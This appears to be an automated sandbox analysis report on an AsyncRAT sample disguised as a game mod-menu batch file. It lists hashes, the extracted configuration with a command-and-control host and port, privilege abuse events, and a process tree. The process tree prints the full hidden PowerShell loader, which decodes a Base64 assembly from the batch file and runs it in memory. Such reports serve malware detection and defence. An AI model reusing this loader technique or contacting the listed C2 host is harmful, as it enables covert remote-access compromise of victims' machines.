asyncrat | 1603d290f989b872d388b47d44b4747b622c13577c10e03bc9bdb4ce3c0a007d

General

Target

tjs_mod_menuprivd.bat
Size

431KB
MD5

2630e333f5b0194b20a181300bbaaa7c
SHA1

b9b9d2b06b5b73ce54dfc5b19083f318d16593e2
SHA256

1603d290f989b872d388b47d44b4747b622c13577c10e03bc9bdb4ce3c0a007d
SHA512

13e9306af1a0c25616080f381b7ab5a2f3872677983b2fb80bc315c55104ae2b1f8a0513196396c0f99e560f4111822ef8278073c99ad4ba72d3cfd76b518000
SSDEEP

12288:4sM2qH2Uo+qndHYdscN9dJ70kmvjCMpJDU9Wpcq:4b2/UlICdskJ7rleo9M

Score

10^/10

asyncrat default rat

Malware Config

Extracted

Family

asyncrat

Version

1.0.7

Botnet

Default

C2

181.ip.ply.gg:21614

Mutex

DcRatMutex_qwqdanchun

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Async RAT payload 1 IoCs

rat

Processes:

resource	yara_rule
behavioral1/memory/3412-147-0x00000269B83D0000-0x00000269B83E6000-memory.dmp	asyncrat

Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

3688 3412 WerFault.exe powershell.exe
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

3412 powershell.exe
3412 powershell.exe
3412 powershell.exe

pid	pid_target	process	target process
3688	3412	WerFault.exe	powershell.exe

pid	process
3412	powershell.exe
3412	powershell.exe
3412	powershell.exe

Suspicious use of AdjustPrivilegeToken 43 IoCs

Processes:

powershell.exe

description	pid	process
Token: SeDebugPrivilege	3412	powershell.exe
Token: SeIncreaseQuotaPrivilege	3412	powershell.exe
Token: SeSecurityPrivilege	3412	powershell.exe
Token: SeTakeOwnershipPrivilege	3412	powershell.exe
Token: SeLoadDriverPrivilege	3412	powershell.exe
Token: SeSystemProfilePrivilege	3412	powershell.exe
Token: SeSystemtimePrivilege	3412	powershell.exe
Token: SeProfSingleProcessPrivilege	3412	powershell.exe
Token: SeIncBasePriorityPrivilege	3412	powershell.exe
Token: SeCreatePagefilePrivilege	3412	powershell.exe
Token: SeBackupPrivilege	3412	powershell.exe
Token: SeRestorePrivilege	3412	powershell.exe
Token: SeShutdownPrivilege	3412	powershell.exe
Token: SeDebugPrivilege	3412	powershell.exe
Token: SeSystemEnvironmentPrivilege	3412	powershell.exe
Token: SeRemoteShutdownPrivilege	3412	powershell.exe
Token: SeUndockPrivilege	3412	powershell.exe
Token: SeManageVolumePrivilege	3412	powershell.exe
Token: 33	3412	powershell.exe
Token: 34	3412	powershell.exe
Token: 35	3412	powershell.exe
Token: 36	3412	powershell.exe
Token: SeIncreaseQuotaPrivilege	3412	powershell.exe
Token: SeSecurityPrivilege	3412	powershell.exe
Token: SeTakeOwnershipPrivilege	3412	powershell.exe
Token: SeLoadDriverPrivilege	3412	powershell.exe
Token: SeSystemProfilePrivilege	3412	powershell.exe
Token: SeSystemtimePrivilege	3412	powershell.exe
Token: SeProfSingleProcessPrivilege	3412	powershell.exe
Token: SeIncBasePriorityPrivilege	3412	powershell.exe
Token: SeCreatePagefilePrivilege	3412	powershell.exe
Token: SeBackupPrivilege	3412	powershell.exe
Token: SeRestorePrivilege	3412	powershell.exe
Token: SeShutdownPrivilege	3412	powershell.exe
Token: SeDebugPrivilege	3412	powershell.exe
Token: SeSystemEnvironmentPrivilege	3412	powershell.exe
Token: SeRemoteShutdownPrivilege	3412	powershell.exe
Token: SeUndockPrivilege	3412	powershell.exe
Token: SeManageVolumePrivilege	3412	powershell.exe
Token: 33	3412	powershell.exe
Token: 34	3412	powershell.exe
Token: 35	3412	powershell.exe
Token: 36	3412	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 1808 wrote to memory of 3412	1808	cmd.exe	powershell.exe
PID 1808 wrote to memory of 3412	1808	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tjs_mod_menuprivd.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1808

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -noprofile -w hidden -ep bypass -command $gingerbread_VNVEYFCXZB = [System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\tjs_mod_menuprivd.bat').Split([Environment]::NewLine); foreach ($gingerbread_5CT98CG4BC in $gingerbread_VNVEYFCXZB) { if ($gingerbread_5CT98CG4BC.StartsWith(':: ')) { $gingerbread_2TZQ55CQEN = $gingerbread_5CT98CG4BC.Substring(3); $gingerbread_2TZQ55CQEN = [System.Text.RegularExpressions.Regex]::Replace($gingerbread_2TZQ55CQEN, '#', '');break; }; }; $gingerbread_DAQ7P3JJRR = [System.Convert]::FromBase64String($gingerbread_2TZQ55CQEN); $gingerbread_0T0QQDOGDW = [System.Reflection.Assembly]::Load($gingerbread_DAQ7P3JJRR); $gingerbread_6OB2AT4WFW = $gingerbread_0T0QQDOGDW.EntryPoint; $gingerbread_6OB2AT4WFW.Invoke($null, $null)
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3412

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 3412 -s 2088
3⤵
- Program crash
PID:3688

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4864

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cv3uvi4e.2m1.ps1
Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
memory/3412-125-0x00000269A0100000-0x00000269A0122000-memory.dmp

Filesize
136KB

Download
memory/3412-126-0x00000269A0180000-0x00000269A0190000-memory.dmp

Filesize
64KB

Download
memory/3412-127-0x00000269A0180000-0x00000269A0190000-memory.dmp

Filesize
64KB

Download
memory/3412-132-0x00000269B8450000-0x00000269B84C6000-memory.dmp

Filesize
472KB

Download
memory/3412-143-0x00000269A0130000-0x00000269A017E000-memory.dmp

Filesize
312KB

Download
memory/3412-144-0x00000269A01B0000-0x00000269A01BA000-memory.dmp

Filesize
40KB

Download
memory/3412-147-0x00000269B83D0000-0x00000269B83E6000-memory.dmp

Filesize
88KB

Download
memory/3412-150-0x00000269A0180000-0x00000269A0190000-memory.dmp

Filesize
64KB

Download
memory/3412-155-0x00000269A0180000-0x00000269A0190000-memory.dmp

Filesize
64KB

Download
memory/3412-156-0x00000269A0180000-0x00000269A0190000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads